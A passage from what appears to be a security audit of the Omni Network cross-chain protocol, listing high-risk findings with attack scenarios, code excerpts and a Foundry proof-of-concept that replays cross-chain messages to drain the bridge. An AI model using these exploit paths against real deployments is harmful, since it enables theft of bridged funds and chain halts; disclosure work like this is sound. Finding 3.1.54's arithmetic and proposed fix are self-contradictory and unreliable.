        genVals.push(XTypes.Validator(val1, baseValPower));
        genVals.push(XTypes.Validator(val2, baseValPower));

        xmsg = XTypes.Msg({
            destChainId: broadcastChainId,
            shardId: ConfLevel.toBroadcastShard(ConfLevel.Finalized),
            offset: genesisValSetId + 2,
            sender: CChainSender,
            to: address(0),
            data: abi.encodeWithSelector(OmniPortal.addValidatorSet.selector, genesisValSetId + 2, genVals),
            gasLimit: 100_000
        });

        // Using thisChainId to generate fee
        uint256 fee = portal.feeFor(100, xmsg.data, xmsg.gasLimit);
        uint8 conf = uint8(xmsg.shardId);

        vm.expectRevert("OmniPortal: no portal xcall");
        // vm.chainId(thisChainId);
        portal.xcall{ value: fee }(xmsg.destChainId, conf, xmsg.to, xmsg.data, xmsg.gasLimit);
    }
```

- Recommendation (optional) Remove the require statement preventing calls to the `VirtualPortal-Address`, as there is already sufficient access control in `addValidatorSet()` preventing any caller but the Consensus chain from calling it

OmniPortal.sol#L359-360

```
    require(_xmsg.sourceChainId == omniCChainId, "OmniPortal: only cchain");
    require(_xmsg.sender == CChainSender, "OmniPortal: only cchain sender");
```

3.1.51 Bytes per tx is lower than expected

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: When we run the local devnet, we will find a new folder added to the `e2e` folder, which is `runs`.

Inside `runs`, we can find the different services that are ran on the local devnet. These different services all have a `config` folder inside of them.

For example, `validator01` has a `config` folder, which has config files.

If we take a look at `omni/e2e/runs/devnet1/validator1/config/config.toml` , we see:

```
-  Limit the total size of all txs in the mempool.
-  This only accounts for raw transactions (e.g. given 1MB transactions and
-  max_txs_bytes=5MB, mempool will only accept 5 transactions).
max_txs_bytes = 1073741824

-  Maximum size of a single transaction.
-  NOTE: the max size of a tx transmitted over the network is {max_tx_bytes}.
max_tx_bytes = 1048576
```

This limit is enforced by every validator.

A `tx` in the context of this project is the following payload, which is prepared in `PrepareProposal()`:

```
func (k *Keeper) PrepareProposal(ctx sdk.Context, req *abci.RequestPrepareProposal) (
    *abci.ResponsePrepareProposal, error,
) {
//..
    // Then construct the execution payload message.
    payloadMsg := &types.MsgExecutionPayload{
        Authority:         authtypes.NewModuleAddress(types.ModuleName).String(),
        ExecutionPayload:  payloadData,
        PrevPayloadEvents: evmEvents,
    }

    // Combine all the votes messages and the payload message into a single transaction.
    b := k.txConfig.NewTxBuilder()
    if err := b.SetMsgs(append(voteMsgs, payloadMsg)...); err != nil {
        return nil, errors.Wrap(err, "set tx builder msgs")
    }

    // Note this transaction is not signed. We need to ensure bypass verification somehow.
    tx, err := k.txConfig.TxEncoder()(b.GetTx())
//..
}
```

This `tx` includes the execution payload, which is the geth-block.

The problem here is that the max size of a tx is `1048576`, which is around 1MB. This is contrary to the assumption that the tx size is 100MB.

Note that this assumption is mentioned in one of the `Known Issues`:

```
Overfilling EVM Blocks
- In CometBFT, the PrepareProposal() function sets a limit on the maximum number of bytes that are allowed to
↪  fit in a proposed block. However, Halo is not allowed to remove any transactions from the proposed block
↪  if this limit is exceeded. If a Halo block were to exceed this limit, the chain would simply halt.
- In practice, this can never happen. The maximum amount of gas in an EVM block is 30,000,000. The largest
↪  block possible when constrained by gas is a block filled with 0's. This results in a maximum block of
↪  7,500,000 bytes, or 15,000,000 bytes when hex encoded in the EngineAPI.
- Since cmttypes.MaxBlockSizeBytes*9/10 evaluates to roughly 94 MB, it is impossible for a 15 MB maximum block
↪  size to ever exceed this.
```

However, given that the max size of a tx is `1048576`, this means it is very feasible to halt the chain, contrary to the issue described above.

Proof of Concept:

- Alice fills up the EVM block such that it is more than `1048576`

- Validators will not be able to transmit the `tx` to others due to this constraint
- Chain will halt

Recommendation: Correctly apply the constraints to the `tx`

3.1.52 Insufficient validation in `VerifyVoteExtension` leads to validators being able to replay others' vote extensions

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Relevant Context

`AttestKeeper.VerifyVoteExtension` is set as Omni's application's vote extension verification handler. This method is responsible for verifying the validity of vote extensions, which are provided by CometBFT.

Omni validators are required to provide vote extensions containing a set of `Votes`, which contains multiple votes for different cross-chain blocks. When enough votes are received for a given cross-chain block, the Omni protocol processes the cross-chain messages contained within it.

- Description

When a vote extension from any validator in the network is received, an Omni validator must verify it by using the `VerifyVoteExtension` method. Although the method implements strict checks to define a valid vote extension **content**, it doesn't enforce strict conditions on the `abci.RequestVerifyVoteExtension` parameter received.

Such parameter is provided by CometBFT's server, which forwards the received request to the application via ABCI. Because CometBFT doesn't implement any verification or data sanitization for the body of such request, its contents should also be verified by `VerifyVoteExtension`.

While `req.ValidatorAddress` and `req.Votes` are validated, `req.Hash` and `req.Height` are not. This implies that the `VerifyVoteExtension` method will not discard vote extensions which were submitted for a past block.

As a result, because the Omni handler fails to enforce that the request's block reference (either its `req.Hash` or `req.Height` field) reference the latest Omni block, any validator can store vote extensions sent by other validators during past blocks and forward those as their own vote extension submission.

- Impact

High.

Because vote extensions aren't verified to refer to the current Omni block, Omni validators will attempt to process any vote extension provided without ensuring it is related to the current block.

In particular, a malicious validator `A` can exploit this fact to replay any given vote extension `N` times as long as the attestation window check passes. This issue is particularly problematic in the case in which `A` comes across a request to verify a slashable vote extension `VE` submitted by an honest validator `B`: in this case, `A` is able to transmit `VE` at every vote extension request. Because `VE` has been signed by `B` and is a vote extension which leads to a slashing event, every time it is processed by Omni's validator set, `B` will be believed to have sent a slashable vote extension.

- Recommendation

The `VerifyVoteExtension` method should ensure that the provided vote extension refers to the current Omni block:

```
func (k *Keeper) VerifyVoteExtension(ctx sdk.Context, req *abci.RequestVerifyVoteExtension) (
    *abci.ResponseVerifyVoteExtension, error,
) {
    respAccept := &abci.ResponseVerifyVoteExtension{
        Status: abci.ResponseVerifyVoteExtension_ACCEPT,
    }
    respReject := &abci.ResponseVerifyVoteExtension{
        Status: abci.ResponseVerifyVoteExtension_REJECT,
    }

    cChainID, err := netconf.ConsensusChainIDStr2Uint64(ctx.ChainID())
    if err != nil {
        return nil, errors.Wrap(err, "parse chain id")
    }

+   if ctx.BlockHeight() != req.Height {
+       return nil, errors.New("height mismatch")
+   }

    // snip

    return respAccept, nil
}
```

3.1.53 Reorged blocks cannot be voted

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

When the validator votes on a block through `runOnce`, it starts from latest block+1.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go#L289

```
    // Get latest state from disk.
    if latest, ok := v.latestByChain(chainVer); ok {
        fromBlockHeight = latest.BlockHeader.BlockHeight + 1
        fromAttestOffset = latest.AttestHeader.AttestOffset + 1
    }

    // Get latest approved attestation from the chain.
    if latest, ok, err := v.deps.LatestAttestation(ctx, chainVer); err != nil {
        return 0, 0, errors.Wrap(err, "latest attestation")
    } else if ok && fromBlockHeight < latest.BlockHeight+1 {
        // Allows skipping ahead of we were behind for some reason.
        fromBlockHeight = latest.BlockHeight + 1
        fromAttestOffset = latest.AttestHeader.AttestOffset + 1
    }

    return fromBlockHeight, fromAttestOffset, nil
```

The `latest` will be updated every time a vote is cast.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go#L334

```
    v.latest[chainVer] = vote
```

When a reorg is detected, `runOnce` will execute again.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go#L225

```
            if err := detectReorg(chainVer, prevBlock, block, streamOffsets); err != nil {
                reorgTotal.WithLabelValues(v.network.ChainVersionName(chainVer)).Inc()
                // Restart stream, recalculating block offset from finalized version.

                return err
            }
```

```
    for ctx.Err() == nil {
                ...

        err := v.runOnce(ctx, chainVer)
        if ctx.Err() != nil {
            return // Don't log or sleep on context cancel.
        }

        log.Warn(ctx, "Vote runner failed (will retry)", err, "chain", v.network.ChainVersionName(chainVer))
        backoff()
    }
```

The problem here is that when `runOnce` is re-executed, it starts voting from latest+1 again, and latest has not been reset(Because it is a variable belonging to the voter instance and not a local variable in `runOnce`). This results in blocks that were reorged between the finalized block and the latest block+1 being unable to be voted on.

For example:

1. Assume `latestApproved.BlockHeight == latest.BlockHeight == 1`, which means voting starts from the 2nd block.
2. The validator votes sequentially on the 2nd, 3rd, and 4th blocks.
3. During voting on the 4th block, a reorg is detected: a reorg occurred with the 3rd block, causing the block hash to change. At this point, `latest.BlockHeight == 3`.
4. The function returns an error, `runOnce` is executed again, starting voting from `latest.BlockHeight+1==4`, meaning the changed 3rd block is not re-voted.
5. This ultimately led to block 3 being a "new" block, but validators were unable to vote on it, disrupting the consensus mechanism, which is considered a high-risk vulnerability for a blockchain.

This vulnerability applies to both the fuzzy version and the final version. For the fuzzy version, although its latest is greater than final.latest and runOnce starts voting from final.latest, due to the existence of the skip offset mechanism, reorg blocks still cannot be re-voted on.


```
    resp := c.nextAttestOffset
    c.nextAttestOffset++
    c.prevBlockHeight = blockHeight
```

```
            if attestOffset < skipBeforeOffset {
                maybeDebugLog(ctx, "Skipping previously voted block on startup", "attest_offset",
↪   attestOffset, "skip_before_offset", skipBeforeOffset)

                return nil // Do not vote for offsets already approved or that we voted for previously (this
↪   risks double signing).
            }
```

- Recommendation After a reorg, voting must restart from the latest approval +1.

3.1.54 N+2 Validator sets able to sign XMsg AttestationRoots, on n minValSet()

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary Incorrect calculation in `_minValSet()` allows two older validator sets to sign the `attestationRoot` of `XMsgs`.
- Finding Description OmniPortal keeps a range of Validator sets that are allowed to sign the attestation root of XMsgs, in order to attain a `quorum` to execute a batch of XMsgs. It uses a helper function, `_minValSet()` to keep track and return the oldest possible validator set that can sign an `XMsg AttestationRoot`.

OmniPortal.sol#L340-345

```
    function _minValSet() internal view returns (uint64) {
    return latestValSetId > xsubValsetCutoff
        // plus 1, so the number of accepted valsets == XSubValsetCutoff
        ? (latestValSetId - xsubValsetCutoff + 1)
        : 1;
    }
```

The return value from `_minValSet()` is used in `xsubmit()` to make sure the validator set used is within the threshold of allowed validator sets.

OmniPortal.sol#L186

```
    require(valSetId >= _minValSet(), "OmniPortal: old val set");
```

`latestValSetId` keeps track of the newest validator set, and `xsubValsetCutoff` stores the range of validator sets allowed. In `_minValSet()`, when `latestValSetId > xsubValsetCutoff` a calculation is made to get the minimum validator set that can sign the attestationRoot and reach a quorum. This calculation allows two older validator sets that are not within the range of allowed validator sets.

OmniPortal.sol#L343

```
    (latestValSetId - xsubValsetCutoff + 1)
    }
```

- Impact Explanation The latest two old validator sets are still able to sign attestationRoots, and reach a quorum on a batch of XMsgs.
- Likelihood Explanation When validator sets are less than the cutoff required for validator sets, this is a non-issue. Malicious older validators can monitor state variables and submit a fraudulent batch of XMsgs to be processed by OmniPortal, once `latestValSetId > xsubValsetCutoff`.
- Proof of Concept (if required) The steps below demonstrate how this vulnerability can be exploited;
- `xsubValsetCutoff = 10, latestValSetId = 8`. Validator sets with valSetId from 1 - 8 can reach quorum and submit `XMsgs`
- Consensus Chain adds four more validator sets, `latestValSetId = 12`
- `(latestValSetId - xsubValsetCutoff + 1) => (12 - 10 + 1) = 1`
- Validators from 1 to 12 can reach quorum, two greater than allowed cutoff
- Recommendation (optional) `(latestValSetId - xsubValsetCutoff + 1)` should be modified to `((latestValSetId - xsubValsetCutoff) + 1)`. This gives the correct range of allowed validator sets. From our example above; `((12 - 10) + 1) = 3`. valSetId from 3 to 12 satisfies `xsubValsetCutoff = 10`, the specified range of allowed validator sets.

3.1.55 Malicious validators cannot be removed

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description In Staking.sol, the owner can remove validators through `disallowValidators`.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/octane/Staking.sol#L146

```
    function disallowValidators(address[] calldata validators) external onlyOwner {
        for (uint256 i = 0; i < validators.length; i++) {
            isAllowedValidator[validators[i]] = false;
            emit ValidatorDisallowed(validators[i]);
        }
    }
```

However, there is no corresponding code in the Go code to handle the removed validator.

In halo/evmstaking/evmstaking.go, only the `CreateValidator` and `Delegate` events are handled, with no place to handle the `ValidatorDisallowed` event.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/evmstaking/evmstaking.go#L78

```
// Prepare returns all omni stake contract EVM event logs from the provided block hash.
func (p EventProcessor) Prepare(ctx context.Context, blockHash common.Hash) ([]evmenginetypes.EVMEvent, error)
{
    logs, err := p.ethCl.FilterLogs(ctx, ethereum.FilterQuery{
        BlockHash: &blockHash,
        Addresses: p.Addresses(),
        Topics:    [][]common.Hash{{createValidatorEvent.ID, delegateEvent.ID}},
    })
```

```
-  pwd omni/halo/evmstaking/
grep -ri 'ValidatorDisallowed' *.go

(return empty)
```

Therefore, calling `disallowValidators` in the contract cannot update the staking module on the chain.

The new announcement clearly states that there may be malicious validators, so it should be ensured that the functionality to remove malicious validators is available.

The validator condition does not assume that there are no malicious validators.

- Recommendation Add relevant handlers.

3.1.56 A malicious validator can permanently DOS one new validator, leading to huge $Omni loss

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

Currently, a malicious actor which is whitelisted in `Staking.sol` can frontrun any new validators' `createValidator` request to lock new validator's deposit permanently.

Consider such scenario:

We say Bob is an honest whale validator with huge `$Omni` balance to deposit. The happy path should be:

1. Bob call `createValidator(Bob's cosmos pubkey)` with 1M `$Omni` in `Staking.sol`.
2. Halo pass `skeeper.NewMsgServerImpl(p.sKeeper).CreateValidator(ctx, msg)` to cosmos staking module.

However, Alice is a malicious guy with the validator whitelist, he can target Bob's deposit with such path:

1. Bob send the `createValidator` tx to Omni mempool.
2. Alice notice the tx, and frontrun the tx with `createValidator(Bob's cosmos pubkey)` with 100 `$Omni`.
3. Alice's and Bob's deposit tx both get executed, and their funds all locked in `Staking.sol`.
4. Halo pass `skeeper.NewMsgServerImpl(p.sKeeper).CreateValidator(ctx, msg)` to cosmos staking module, this time a validator with Alice's ETH key + Bob's cosmos key + Alice's deposit is created. Now Bob's fund get permanently locked, as he didn't receive the 1M `$Stake`.

We can break it down:

```
func (p EventProcessor) deliverCreateValidator(ctx context.Context, ev *bindings.StakingCreateValidator) error
{

        ...

    msg, err := stypes.NewMsgCreateValidator(
        valAddr.String(),
        pubkey,
        amountCoin,
        stypes.Description{Moniker: ev.Validator.Hex()},
        stypes.NewCommissionRates(math.LegacyZeroDec(), math.LegacyZeroDec(), math.LegacyZeroDec()),
        math.NewInt(1)) // Stub out minimum self delegation for now, just use 1.
    if err != nil {
        return errors.Wrap(err, "create validator message")
    }

    _, err = skeeper.NewMsgServerImpl(p.sKeeper).CreateValidator(ctx, msg)
    if err != nil {
        return errors.Wrap(err, "create validator")
    }

    return nil
}
```

From cosmos doc: https://docs.cosmos.network/main/build/modules/staking#msgcreatevalidator

> This message is expected to fail if:
>
> - another validator with this operator address is already registered
> - another validator with this pubkey is already registered
> - ...

So, When Alice's deposit request is executed before Bob's, Bob's `deliverCreateValidator` will fail, and there is no way to recover the funds. Alice is possible to lock any amount of `$Omni` deposit with the `MinDeposit`.

- Recommendation

I suggest introduce something like a pending validator queue, or simply add the cosmos pubkey mapping to `Staking.sol`

3.1.57 The restriction for double sign can be bypassed

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description During the voting process, `attestOffset` and `skipBeforeOffset` are compared to prevent double signing.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go#L251

```
            if attestOffset < skipBeforeOffset {
                maybeDebugLog(ctx, "Skipping previously voted block on startup", "attest_offset",
↪   attestOffset, "skip_before_offset", skipBeforeOffset)

                return nil // Do not vote for offsets already approved or that we voted for previously (this
↪   risks double signing).
            }
```

`skipBeforeOffset` comes from `v.latest`, which can be obtained from a local file when the voter starts.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go#L289

```
    if latest, ok := v.latestByChain(chainVer); ok {
        fromBlockHeight = latest.BlockHeader.BlockHeight + 1
        fromAttestOffset = latest.AttestHeader.AttestOffset + 1
    }
```

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go#L639

```
// loadState loads a path state from the given path.

func loadState(path string) (stateJSON, error) {
    bz, err := os.ReadFile(path)
    if err != nil {
        return stateJSON{}, errors.Wrap(err, "read state path")
    }

    var s stateJSON
    if err := json.Unmarshal(bz, &s); err != nil {
        return stateJSON{}, errors.Wrap(err, "unmarshal state path")
    }

    verify := func(voteSets ...[]*types.Vote) error {
        for _, votes := range voteSets {
            for _, vote := range votes {
                if err := vote.Verify(); err != nil {
                    return errors.Wrap(err, "verify vote")
                }
            }
        }

        return nil
    }

    if err := verify(s.Latest, s.Proposed, s.Committed, s.Available); err != nil {
        return stateJSON{}, err
    }

    return s, nil
}
```

The problem here is that the verification of the vote in `loadState` only ensures that the signature is correct, but it does not guarantee that it is the latest.

Each time the `latest` is updated, `saveUnsafe` is called to persist the `latest` to the stateFile.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/voter/voter.go#L334

```
    v.latest[chainVer] = vote
        ...
    return v.saveUnsafe()
```

A node operator can record every change of the stateFile, similar to git, and when it wants to double sign, it will roll back the stateFile to a previous version and restart the node, so that `skipBeforeOffset` is smaller than it should be, thereby allowing double signing of certain blocks.

- Recommendation None

3.1.58 Messages can be replayed in `OmniPortal` and can be used to steal funds from the bridges

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary

Cross-chain operations are done in the destination chain through the `OmiPortal.xsubmit()` function, whether it be bridging tokens or calling a contract in the destination chain. This is done with 2/3 validator signatures, 'verifying' the message/s.

- Finding Description

When `OmiPortal.xsubmit()` is called a ton of validations are done including verification of signatures of the validators in the validator set.

```
  function xsubmit(XTypes.Submission calldata xsub)
        external
        whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
        nonReentrant
    {
.....................................................
.....................................................

require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");
        require(xmsgs.length > 0, "OmniPortal: no xmsgs");
        require(valSetTotalPower[valSetId] > 0, "OmniPortal: unknown val set");
        require(valSetId >= _minValSet(), "OmniPortal: old val set");

        // check that the attestationRoot is signed by a quorum of validators in xsub.validatorsSetId
        require(
            Quorum.verify(
                xsub.attestationRoot,
                xsub.signatures,
                valSet[valSetId],
                valSetTotalPower[valSetId],
                XSubQuorumNumerator,
                XSubQuorumDenominator
            ),
            "OmniPortal: no quorum"
        );

        // check that blockHeader and xmsgs are included in attestationRoot
        require(
            XBlockMerkleProof.verify(xsub.attestationRoot, xheader, xmsgs, xsub.proof, xsub.proofFlags),
            "OmniPortal: invalid proof"
        );
```

After which the messages are executed

```
for (uint256 i = 0; i < xmsgs.length; i++) {
            _exec(xheader, xmsgs[i]);
        }
```


But the thing is that, there is no check to see if these set of message/s have been executed yet, so an attacker can actually bridge some tokens to a destination chain and replay the message in the destination chain and drain tokens from the bridge.

The only 'check' that immediately stops an attacker from reusing the exact same calldata is this check in `_exec()`

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
        ..............................................
        ..............................................
        require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
        ..............................................
```

But since this offset is not used in verifying the signatures and such, an attacker can simply use a different offset and replay the message.

- Impact Explanation

The Bridge can be drained by just replaying the token bridging messages. Also sys messages can also be replayed, leading to unexpected functionality.

- Likelihood Explanation

Messages just need to be replayed, and the function is callable by anyone, making this high likely and high impact.

- Proof of Concept (if required)

I'm reusing test from `test/templates/OmniPortal.t.sol`

```
function test_example() public {
        Counter counter = new Counter(portal); // new Counter to increment via xmsg
        uint64 srcChainId = 1; // source chain id for the xsubmission
        uint64 valSetId = 1; // use genesis valset for the xsubmission
        uint64 thisChainId = uint64(block.chainid); // destChainId for each xmsg
```

```
        uint64 shardId = uint64(ConfLevel.Finalized); // shardId for each xmsg (shard == conf level)
        address sender = makeAddr("sender"); // xmsg sender

        // mock block header
        XTypes.BlockHeader memory xheader = xsubgen.makeXHeader(srcChainId, ConfLevel.Finalized);

        // xmsgs to Counter
        XTypes.Msg[] memory msgs = new XTypes.Msg[](3);
        msgs[0] = XTypes.Msg({
            destChainId: thisChainId,
            shardId: shardId,
            offset: 1,
            sender: sender,
            to: address(counter),
            data: abi.encodeCall(Counter.increment, ()),
            gasLimit: 100_000
        });
        msgs[1] = XTypes.Msg({
            destChainId: thisChainId,
            shardId: uint64(ConfLevel.Finalized),
            offset: 2,
            sender: sender,
            to: address(counter),
            data: abi.encodeCall(Counter.increment, ()),
            gasLimit: 100_000
        });
        msgs[2] = XTypes.Msg({
            destChainId: thisChainId - 1, // some other chain - should not be included in submission
            shardId: shardId,
            offset: 1,
            sender: sender,
            to: address(counter),
            data: abi.encodeCall(Counter.increment, ()),
            gasLimit: 100_000
        });

        // select which xmsgs to include in submission (exclude xmsg to "some other chain")
        bool[] memory msgFlags = new bool[](3);
        msgFlags[0] = true;
        msgFlags[1] = true;
        msgFlags[2] = false;

        // make and submit the xsubmission
        XTypes.Submission memory xsub = xsubgen.makeXSub(valSetId, xheader, msgs, msgFlags);
        portal.xsubmit(xsub);

        // check that the counter has been incremented
        assertEq(counter.count(), 2);

        msgs[0].offset = 3; //Changing the offsets
        msgs[1].offset = 4;
        msgs[2].offset = 5;
        xsub = xsubgen.makeXSub(valSetId, xheader, msgs, msgFlags);

        portal.xsubmit(xsub);
        assertEq(counter.count(), 4);
    }
```


To run: `forge test --mt test_example` use -vvvv for logs

- Recommendation

1. Use the offset in verifying the validator signatures.
2. Store the hash of `xsub` or `attestationRoot` into a mapping and check if it is already executed or not.

3.1.59 OMNI is prone to strong liveness issues due to misuse of `ProcessProposal`

Severity: High Risk

Context: prouter.go#L30-L92

- Description

The Cosmos SDK documentation about `ProcessProposal` indicates the following:

> CometBFT calls it when it receives a proposal and the CometBFT algorithm has not locked on a value. The Application cannot modify the proposal at this point but can reject it if it is invalid. If that is the case, CometBFT will prevote `nil` on the proposal, which has strong liveness implications for CometBFT. As a general rule, the Application SHOULD accept a prepared proposal passed via `ProcessProposal`, even if a part of the proposal is invalid (e.g., an invalid transaction); the Application can ignore the invalid part of the prepared proposal at block execution time.

Moreover, these liveness implications of returning `REJECTED` are also detailled in the CometBFT documentation about `ProcessProposal`:

> Moreover, application implementers SHOULD always set `ProcessProposalResponse.status` to `ACCEPT`, unless they really know what the potential liveness implications of returning `REJECT` are.

However, the `ProcessProposal` logic does not show the behavior described in the documentation. This logic will reject any proposal that does not perfectly match the various checks.

- Impact

Incorrect proposals will have high liveness impact on the Omni chain.

- Recommendation

According to the documentation, the `ACCEPT` status should be the norm. Non valid payloads should be accepted but they should not have impact on the application state.

Due to the current architecture of OMNI and the fact that an EVM block is embedded as a Msg in a Tx in the consensus block, ignoring the invalid part of an EVM block is not possible. The whole EVM block should be accepted but not executed.

3.1.60 Relayer can be drained leading to a DOS

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description The omni portal has `xmsgMaxGasLimit` and `xmsgMaxDataSize` variables repectively which are
- the maximum allowed `xmsg` gas limit and
- maximum number of bytes allowed in xmsg data. These variables are checked against the user specified `gasLimit` and data length when `xcall(...)` is called on the `OmniPortal`

```
File: OmniPortal.sol
131:     function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
///SNIP    .........
137:         require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
138:         require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
139:         require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
140:         require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");
```

However anyone can permissionlessly submit an `xmsg` using `xsubmit(...)` and craft a message containing an arbitrary `xmsg_.to`, `xmsg_.gasLimit` and `xmsg_.data` respectively when `xsubmit(...)` is used to make a non-syscall to a contract.

- `xmsg_.to` can be a a malicious contract that contains a function whose signature is embeded in the `xmsg_.data` that uses executes with an excessively high gas thus draining the relayer when this call is made repeatedly

```
File: OmniPortal.sol
174:     function xsubmit(XTypes.Submission calldata xsub)
///SNIP    ........
206:
207:         // execute xmsgs
208:         for (uint256 i = 0; i < xmsgs.length; i++) {
209:   @>        _exec(xheader, xmsgs[i]);
210:         }
211:     }

236:     function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
////SNIP     ..........
300:
301:         (bool success, bytes memory result, uint256 gasUsed) =
302:  @>         isSysCall ? _syscall(xmsg_.data) : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);
303:
////SNIP     ..........
310:     }


319:     function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes
↪  memory, uint256) {
320:         uint256 gasLeftBefore = gasleft();
321:
322:         // use excessivelySafeCall for external calls to prevent large return bytes mem copy
323:         (bool success, bytes memory result) =
324:   @.        to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize,
↪  _calldata: data });
325:
////SNIP     .........
338:     }
```

- Impact The relayer can be drained by a malicious user thus causing a DOS because the relayer can no longer pay for transaction execution.
- Recommendation Consider implementing the same checks/validation in `xcall(...)` when a non-syscall is made using `xsubmit(...)` to ensure a transaction does not use up more than `xmsgMaxGasLimit`.

3.1.61 Chain halt due to differences in actual validator set and valsync set in `VerifyVoteExtension` and `ProcessProposal`

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

In the Comet ABCI++, a validator will first vote via `ExtendVote` and all validators will verify each others votes using `VerifyVoteExtension`.

After that these votes will be included in the next proposal where they will be included in the next proposal in `PrepareProposal` and validated against during `ProcessProposal`

As such it must be crucial that votes that passed `VerifyVoteExtension` also pass `ProcessProposal`, otherwise `ProcessProposal` will continuously fail, halting the chain

This will not be the case because of the validator set checks. In `VerifyVoteExtension`, it assumes that it will only be called for a validators in the active set and no other checks will be done. This is CometBFT's active validator set.

In `ProcessProposal` it uses the `prevValSet` which finds the validator set stored in the `valsync` store which returns the active validator set at the current block height - 1.

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/attest/keeper/proposal_server.go#L19

```
// AddVotes verifies all aggregated votes included in a proposed block.
func (s proposalServer) AddVotes(ctx context.Context, msg *types.MsgAddVotes,
) (*types.AddVotesResponse, error) {
    sdkCtx := sdk.UnwrapSDKContext(ctx)
    consensusID, err := netconf.ConsensusChainIDStr2Uint64(sdkCtx.ChainID())
    if err != nil {
        return nil, errors.Wrap(err, "parse chain id")
    }

    // Verify proposed msg
    valset, err := s.prevBlockValSet(ctx)
```

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/attest/keeper/keeper.go#L841

```
func (k *Keeper) prevBlockValSet(ctx context.Context) (ValSet, error) {
    prevBlock := sdk.UnwrapSDKContext(ctx).BlockHeight() - 1
    resp, err := k.valProvider.ActiveSetByHeight(ctx, uint64(prevBlock))
    if err != nil {
        return ValSet{}, err
    }

    valsByPower := make(map[common.Address]int64)
    for _, val := range resp.Validators {
        ethAddr, err := val.EthereumAddress()
        if err != nil {
            return ValSet{}, err
        }
        valsByPower[ethAddr] = val.Power
    }

    return ValSet{
        ID:   resp.Id,
        Vals: valsByPower,
    }, nil
}
```


However, these two can be different because of the incorrect `cometValidatorActiveDelay` of 2 when updating CometBFT's active validator set.

https://github.com/omni-network/omni/blob/ac1f4111267d9ed8a99b50c73b726ff14ae20698/halo/valsync/keeper/keeper.go#L33

```
const cometValidatorActiveDelay = 2
```

```
// processAttested possibly marks the next unattested set as attested by querying approved attestations.
// If found, it returns the validator updates for that set.
//
// Note the order doesn't match that of the staking keeper's original updates.
func (k *Keeper) processAttested(ctx context.Context) ([]abci.ValidatorUpdate, error) {
    valset, ok, err := k.nextUnattestedSet(ctx)
    if err != nil {
        return nil, err
    } else if !ok {
        return nil, nil // No unattested set, so no updates.
    }

    sdkCtx := sdk.UnwrapSDKContext(ctx)
    chainID, err := netconf.ConsensusChainIDStr2Uint64(sdkCtx.ChainID())
    if err != nil {
        return nil, errors.Wrap(err, "parse chain id")
    }
    conf := xchain.ConfFinalized // TODO(corver): Move this to static netconf.

    // Check if this unattested set was attested to
    if atts, err := k.aKeeper.ListAttestationsFrom(ctx, chainID, uint32(conf), valset.GetAttestOffset(), 1);
↪   err != nil {
        return nil, errors.Wrap(err, "list attestations")
    } else if len(atts) == 0 {
        return nil, nil // No attested set, so no updates.
    }

    // Mark the valset as attested.
```

```
    valset.Attested = true
    valset.ActivatedHeight = uint64(sdkCtx.BlockHeight()) + cometValidatorActiveDelay
    if err := k.valsetTable.Update(ctx, valset); err != nil {
        return nil, errors.Wrap(err, "update valset")
    }

    // Get its validator updates.
    valIter, err := k.valTable.List(ctx, ValidatorValsetIdIndexKey{}.WithValsetId(valset.GetId()))
    if err != nil {
        return nil, errors.Wrap(err, "list validators")
    }
    defer valIter.Close()

    var updates []abci.ValidatorUpdate
    var activeVals []*Validator
    for valIter.Next() {
        val, err := valIter.Value()
        if err != nil {
            return nil, errors.Wrap(err, "get validator")
        }

        if val.GetPower() > 0 {
            // Skip zero power validators (removed from previous set).
            activeVals = append(activeVals, val)
        }

        if val.GetUpdated() {
            // Only add updated validators to updates.
            updates = append(updates, val.ValidatorUpdate())
        }
    }

    if k.subscriberInitted {
        if err := k.subscriber.UpdateValidatorSet(valSetResponse(valset, activeVals)); err != nil {
            return nil, err
        }
    }

    log.Info(ctx, " Activating attested validator set",
        "valset_id", valset.GetId(),
        "created_height", valset.GetCreatedHeight(),
        "height", sdkCtx.BlockHeight())

    return updates, nil
}
```

Consider 3 blocks X, X+1, X+2,

In the code above, `processAttested` is supposed to return to the validator updates to be returned from the `EndBlock` function in order for `CometBFT` to update its own active validator set.

